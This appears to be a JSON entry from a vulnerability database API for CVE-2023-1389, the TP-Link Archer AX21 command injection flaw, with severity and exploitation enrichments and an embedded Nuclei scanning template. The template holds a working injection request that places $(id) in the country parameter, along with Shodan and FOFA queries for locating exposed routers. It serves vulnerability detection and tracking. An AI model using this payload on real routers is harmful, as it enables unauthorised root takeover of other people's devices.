{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-1389/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-1389/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-1389/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-1389/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-1389/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-1389"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-1389"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.99999,
      "kev": true,
      "percentile": 0.99992
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-1389.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2023-1389\n\ninfo:\n  name: TP-Link Archer AX21 (AX1800) - Unauthenticated Command Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    TP-Link Archer AX21 (AX1800) routers are vulnerable to unauthenticated OS command injection via the country parameter in the locale endpoint. This allows remote attackers to execute arbitrary commands as root.\n  impact: |\n    Unauthenticated attackers can exploit OS command injection through the country parameter in the locale endpoint to execute arbitrary commands as root and completely compromise TP-Link Archer AX21 routers.\n  remediation: |\n    Update to the latest firmware version provided by TP-Link.\n  reference:\n    - https://www.tenable.com/security/research/tra-2023-11\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-1389\n    - https://github.com/tenable/poc-cve-2023-1389\n  classification:\n    cve-id: CVE-2023-1389\n    cwe-id: CWE-78\n    epss-score: 0.99999\n    epss-percentile: 0.99992\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n  metadata:\n    max-request: 1\n    vendor: tp-link\n    product: archer-ax21\n    fofa-query: body=\"tp-link\"\n    shodan-query: 'title:\"TP-Link Router\"'\n    verified: true\n  tags: cve,cve2023,tp-link,archer,ax21,rce,router,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        operation=write&country=$(id)\n\n      - |\n        POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        operation=write&country=$(id)\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100e7ea47839b84f254fd0f1de55c5fe72998aa9a581083056b81a0c3d824d35fc802207283b9bf311014067cba7b357985a9c65571cf3be1d137bbb547f7285db989b8:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-1389"
}